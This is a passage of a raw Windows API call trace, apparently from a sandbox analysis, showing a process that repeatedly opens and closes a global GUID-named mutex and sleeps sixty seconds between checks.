CloseHandle (hObject=0xbfc) returned 1 [0120.167] Sleep (dwMilliseconds=0xea60) [0120.184] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.184] CloseHandle (hObject=0xbfc) returned 1 [0120.184] Sleep (dwMilliseconds=0xea60) [0120.200] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.201] CloseHandle (hObject=0xbfc) returned 1 [0120.201] Sleep (dwMilliseconds=0xea60) [0120.218] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.218] CloseHandle (hObject=0xbfc) returned 1 [0120.218] Sleep (dwMilliseconds=0xea60) [0120.234] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.234] CloseHandle (hObject=0xbfc) returned 1 [0120.234] Sleep (dwMilliseconds=0xea60) [0120.250] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.251] CloseHandle (hObject=0xbfc) returned 1 [0120.251] Sleep (dwMilliseconds=0xea60) [0120.273] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.274] CloseHandle (hObject=0xc08) returned 1 [0120.274] Sleep (dwMilliseconds=0xea60) [0120.291] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.291] CloseHandle (hObject=0xc08) returned 1 [0120.291] Sleep (dwMilliseconds=0xea60) [0120.309] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.309] CloseHandle (hObject=0xc08) returned 1 [0120.309] Sleep (dwMilliseconds=0xea60) [0120.331] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.331] CloseHandle (hObject=0xc08) returned 1 [0120.331] Sleep (dwMilliseconds=0xea60) [0120.347] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.348] CloseHandle (hObject=0xc08) returned 1 [0120.348] Sleep (dwMilliseconds=0xea60) [0120.354] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.354] CloseHandle (hObject=0xc08) returned 1 [0120.354] Sleep (dwMilliseconds=0xea60) [0120.354] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.354] CloseHandle (hObject=0xc08) returned 1 [0120.354] Sleep (dwMilliseconds=0xea60) [0120.388] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.388] CloseHandle (hObject=0xc08) returned 1 [0120.388] Sleep (dwMilliseconds=0xea60) [0120.405] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.405] CloseHandle (hObject=0xc08) returned 1 [0120.405] Sleep (dwMilliseconds=0xea60) [0120.425] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.425] CloseHandle (hObject=0xc08) returned 1 [0120.425] Sleep (dwMilliseconds=0xea60) [0120.442] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.442] CloseHandle (hObject=0xc08) returned 1 [0120.442] Sleep (dwMilliseconds=0xea60) [0120.460] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.460] CloseHandle (hObject=0xc08) returned 1 [0120.460] Sleep (dwMilliseconds=0xea60) [0120.477] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.477] CloseHandle (hObject=0xc08) returned 1 [0120.477] Sleep (dwMilliseconds=0xea60) [0120.495] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.495] CloseHandle (hObject=0xc08) returned 1 [0120.495] Sleep (dwMilliseconds=0xea60) [0120.511] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.511] CloseHandle (hObject=0xc08) returned 1 [0120.511] Sleep (dwMilliseconds=0xea60) [0120.528] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.528] CloseHandle (hObject=0xc08) returned 1 [0120.528] Sleep (dwMilliseconds=0xea60) [0120.544] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.544] CloseHandle (hObject=0xc08) returned 1 [0120.545] Sleep (dwMilliseconds=0xea60) [0120.547] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0120.547] CloseHandle (hObject=0xc14) returned 1 [0120.547] Sleep (dwMilliseconds=0xea60) [0120.565] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.565] CloseHandle (hObject=0xc08) returned 1 [0120.565] Sleep (dwMilliseconds=0xea60) [0120.581] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.581] CloseHandle (hObject=0xc08) returned 1 [0120.581] Sleep (dwMilliseconds=0xea60) [0120.600] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.600] CloseHandle (hObject=0xc08) returned 1 [0120.600] Sleep (dwMilliseconds=0xea60) [0120.617] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.617] CloseHandle (hObject=0xc08) returned 1 [0120.617] Sleep (dwMilliseconds=0xea60) [0120.635] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.635] CloseHandle (hObject=0xc08) returned 1 [0120.635] Sleep (dwMilliseconds=0xea60) [0120.651] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.651] CloseHandle (hObject=0xc08) returned 1 [0120.652] Sleep (dwMilliseconds=0xea60) [0120.670] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.670] CloseHandle (hObject=0xc08) returned 1 [0120.670] Sleep (dwMilliseconds=0xea60) [0120.687] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.687] CloseHandle (hObject=0xc08) returned 1 [0120.687] Sleep (dwMilliseconds=0xea60) [0120.705] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.705] CloseHandle (hObject=0xc08) returned 1 [0120.705] Sleep (dwMilliseconds=0xea60) [0120.722] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.722] CloseHandle (hObject=0xc08) returned 1 [0120.722] Sleep (dwMilliseconds=0xea60) [0120.740] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.740] CloseHandle (hObject=0xc08) returned 1 [0120.740] Sleep (dwMilliseconds=0xea60) [0120.757] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.757] CloseHandle (hObject=0xc08) returned 1 [0120.757] Sleep (dwMilliseconds=0xea60) [0120.774] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.774] CloseHandle (hObject=0xc08) returned 1 [0120.774] Sleep (dwMilliseconds=0xea60) [0120.791] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.791] CloseHandle (hObject=0xc08) returned 1 [0120.791] Sleep (dwMilliseconds=0xea60) [0120.808] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.808] CloseHandle (hObject=0xc08) returned 1 [0120.808] Sleep (dwMilliseconds=0xea60) [0120.815] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0120.816] CloseHandle (hObject=0xc14) returned 1 [0120.816] Sleep (dwMilliseconds=0xea60) [0120.816] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0120.816] CloseHandle (hObject=0xc14) returned 1 [0120.816] Sleep (dwMilliseconds=0xea60) [0120.833] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.833] CloseHandle (hObject=0xc08) returned 1 [0120.833] Sleep (dwMilliseconds=0xea60) [0120.850] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.850] CloseHandle (hObject=0xc08) returned 1 [0120.850] Sleep (dwMilliseconds=0xea60) [0120.867] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.867] CloseHandle (hObject=0xc08) returned 1 [0120.867] Sleep (dwMilliseconds=0xea60) [0120.883] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.884] CloseHandle (hObject=0xc08) returned 1 [0120.884] Sleep (dwMilliseconds=0xea60) [0120.884] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.884] CloseHandle (hObject=0xc08) returned 1 [0120.884] Sleep (dwMilliseconds=0xea60) [0120.891] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.891] CloseHandle (hObject=0xc08) returned 1 [0120.891] Sleep (dwMilliseconds=0xea60) [0120.909] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.909] CloseHandle (hObject=0xc08) returned 1 [0120.910] Sleep (dwMilliseconds=0xea60) [0120.926] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.926] CloseHandle (hObject=0xc08) returned 1 [0120.927] Sleep (dwMilliseconds=0xea60) [0120.943] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.943] CloseHandle (hObject=0xc08) returned 1 [0120.943] Sleep (dwMilliseconds=0xea60) [0120.960] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.960] CloseHandle (hObject=0xc08) returned 1 [0120.960] Sleep (dwMilliseconds=0xea60) [0120.977] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.977] CloseHandle (hObject=0xc08) returned 1 [0120.977] Sleep (dwMilliseconds=0xea60) [0120.993] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0120.993] CloseHandle (hObject=0xc08) returned 1 [0120.993] Sleep (dwMilliseconds=0xea60) [0121.011] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.011] CloseHandle (hObject=0xc08) returned 1 [0121.011] Sleep (dwMilliseconds=0xea60) [0121.027] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.027] CloseHandle (hObject=0xc08) returned 1 [0121.027] Sleep (dwMilliseconds=0xea60) [0121.044] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.044] CloseHandle (hObject=0xc08) returned 1 [0121.044] Sleep (dwMilliseconds=0xea60) [0121.062] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.062] CloseHandle (hObject=0xc08) returned 1 [0121.062] Sleep (dwMilliseconds=0xea60) [0121.063] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.063] CloseHandle (hObject=0xc08) returned 1 [0121.063] Sleep (dwMilliseconds=0xea60) [0121.065] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0121.065] CloseHandle (hObject=0xc14) returned 1 [0121.065] Sleep (dwMilliseconds=0xea60) [0121.081] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.081] CloseHandle (hObject=0xc08) returned 1 [0121.081] Sleep (dwMilliseconds=0xea60) [0121.093] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0121.093] CloseHandle (hObject=0xc14) returned 1 [0121.093] Sleep (dwMilliseconds=0xea60) [0121.093] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0121.093] CloseHandle (hObject=0xc14) returned 1 [0121.093] Sleep (dwMilliseconds=0xea60) [0121.106] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.106] CloseHandle (hObject=0xc08) returned 1 [0121.106] Sleep (dwMilliseconds=0xea60) [0121.123] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.123] CloseHandle (hObject=0xc08) returned 1 [0121.123] Sleep (dwMilliseconds=0xea60) [0121.140] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.140] CloseHandle (hObject=0xc08) returned 1 [0121.140] Sleep (dwMilliseconds=0xea60) [0121.157] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.157] CloseHandle (hObject=0xc08) returned 1 [0121.157] Sleep (dwMilliseconds=0xea60) [0121.174] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.175] CloseHandle (hObject=0xc08) returned 1 [0121.175] Sleep (dwMilliseconds=0xea60) [0121.192] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.192] CloseHandle (hObject=0xc08) returned 1 [0121.192] Sleep (dwMilliseconds=0xea60) [0121.209] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.210] CloseHandle (hObject=0xc08) returned 1 [0121.210] Sleep (dwMilliseconds=0xea60) [0121.227] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.227] CloseHandle (hObject=0xc08) returned 1 [0121.227] Sleep (dwMilliseconds=0xea60) [0121.244] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.244] CloseHandle (hObject=0xc08) returned 1 [0121.244] Sleep (dwMilliseconds=0xea60) [0121.261] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.261] CloseHandle (hObject=0xc08) returned 1 [0121.261] Sleep (dwMilliseconds=0xea60) [0121.278] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.278] CloseHandle (hObject=0xc08) returned 1 [0121.278] Sleep (dwMilliseconds=0xea60) [0121.296] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.296] CloseHandle (hObject=0xc08) returned 1 [0121.296] Sleep (dwMilliseconds=0xea60) [0121.312] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.312] CloseHandle (hObject=0xc08) returned 1 [0121.312] Sleep (dwMilliseconds=0xea60) [0121.336] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.336] CloseHandle (hObject=0xc08) returned 1 [0121.336] Sleep (dwMilliseconds=0xea60) [0121.354] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.354] CloseHandle (hObject=0xc08) returned 1 [0121.354] Sleep (dwMilliseconds=0xea60) [0121.370] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.370] CloseHandle (hObject=0xc08) returned 1 [0121.370] Sleep (dwMilliseconds=0xea60) [0121.389] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.389] CloseHandle (hObject=0xc08) returned 1 [0121.389] Sleep (dwMilliseconds=0xea60) [0121.406] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.406] CloseHandle (hObject=0xc08) returned 1 [0121.407] Sleep (dwMilliseconds=0xea60) [0121.423] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.423] CloseHandle (hObject=0xc08) returned 1 [0121.423] Sleep (dwMilliseconds=0xea60) [0121.443] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.443] CloseHandle (hObject=0xc08) returned 1 [0121.443] Sleep (dwMilliseconds=0xea60) [0121.459] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.459] CloseHandle (hObject=0xc08) returned 1 [0121.459] Sleep (dwMilliseconds=0xea60) [0121.476] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.476] CloseHandle (hObject=0xc08) returned 1 [0121.476] Sleep (dwMilliseconds=0xea60) [0121.493] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.493] CloseHandle (hObject=0xc08) returned 1 [0121.493] Sleep (dwMilliseconds=0xea60) [0121.510] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.510] CloseHandle (hObject=0xc08) returned 1 [0121.510] Sleep (dwMilliseconds=0xea60) [0121.527] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.527] CloseHandle (hObject=0xc08) returned 1 [0121.527] Sleep (dwMilliseconds=0xea60) [0121.544] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.544] CloseHandle (hObject=0xc08) returned 1 [0121.544] Sleep (dwMilliseconds=0xea60) [0121.561] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.561] CloseHandle (hObject=0xc08) returned 1 [0121.561] Sleep (dwMilliseconds=0xea60) [0121.580] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.580] CloseHandle (hObject=0xc08) returned 1 [0121.580] Sleep (dwMilliseconds=0xea60) [0121.597] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.597] CloseHandle (hObject=0xc08) returned 1 [0121.597] Sleep (dwMilliseconds=0xea60) [0121.615] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.615] CloseHandle (hObject=0xc08) returned 1 [0121.615] Sleep (dwMilliseconds=0xea60) [0121.632] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.632] CloseHandle (hObject=0xc08) returned 1 [0121.632] Sleep (dwMilliseconds=0xea60) [0121.650] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.650] CloseHandle (hObject=0xc08) returned 1 [0121.650] Sleep (dwMilliseconds=0xea60) [0121.667] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.667] CloseHandle (hObject=0xc08) returned 1 [0121.667] Sleep (dwMilliseconds=0xea60) [0121.686] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.686] CloseHandle (hObject=0xc08) returned 1 [0121.686] Sleep (dwMilliseconds=0xea60) [0121.704] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.704] CloseHandle (hObject=0xc08) returned 1 [0121.704] Sleep (dwMilliseconds=0xea60) [0121.722] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.722] CloseHandle (hObject=0xc08) returned 1 [0121.722] Sleep (dwMilliseconds=0xea60) [0121.722] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.722] CloseHandle (hObject=0xc08) returned 1 [0121.722] Sleep (dwMilliseconds=0xea60) [0121.730] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.730] CloseHandle (hObject=0xc08) returned 1 [0121.730] Sleep (dwMilliseconds=0xea60) [0121.746] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.746] CloseHandle (hObject=0xc08) returned 1 [0121.746] Sleep (dwMilliseconds=0xea60) [0121.764] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.764] CloseHandle (hObject=0xc08) returned 1 [0121.764] Sleep (dwMilliseconds=0xea60) [0121.781] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.781] CloseHandle (hObject=0xc08) returned 1 [0121.781] Sleep (dwMilliseconds=0xea60) [0121.798] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.798] CloseHandle (hObject=0xc08) returned 1 [0121.798] Sleep (dwMilliseconds=0xea60) [0121.816] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.816] CloseHandle (hObject=0xc08) returned 1 [0121.816] Sleep (dwMilliseconds=0xea60) [0121.835] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.835] CloseHandle (hObject=0xc08) returned 1 [0121.835] Sleep (dwMilliseconds=0xea60) [0121.852] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.852] CloseHandle (hObject=0xc08) returned 1 [0121.852] Sleep (dwMilliseconds=0xea60) [0121.870] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.870] CloseHandle (hObject=0xc08) returned 1 [0121.870] Sleep (dwMilliseconds=0xea60) [0121.893] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.893] CloseHandle (hObject=0xc08) returned 1 [0121.893] Sleep (dwMilliseconds=0xea60) [0121.914] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.914] CloseHandle (hObject=0xc08) returned 1 [0121.914] Sleep (dwMilliseconds=0xea60) [0121.933] OpenMutexA 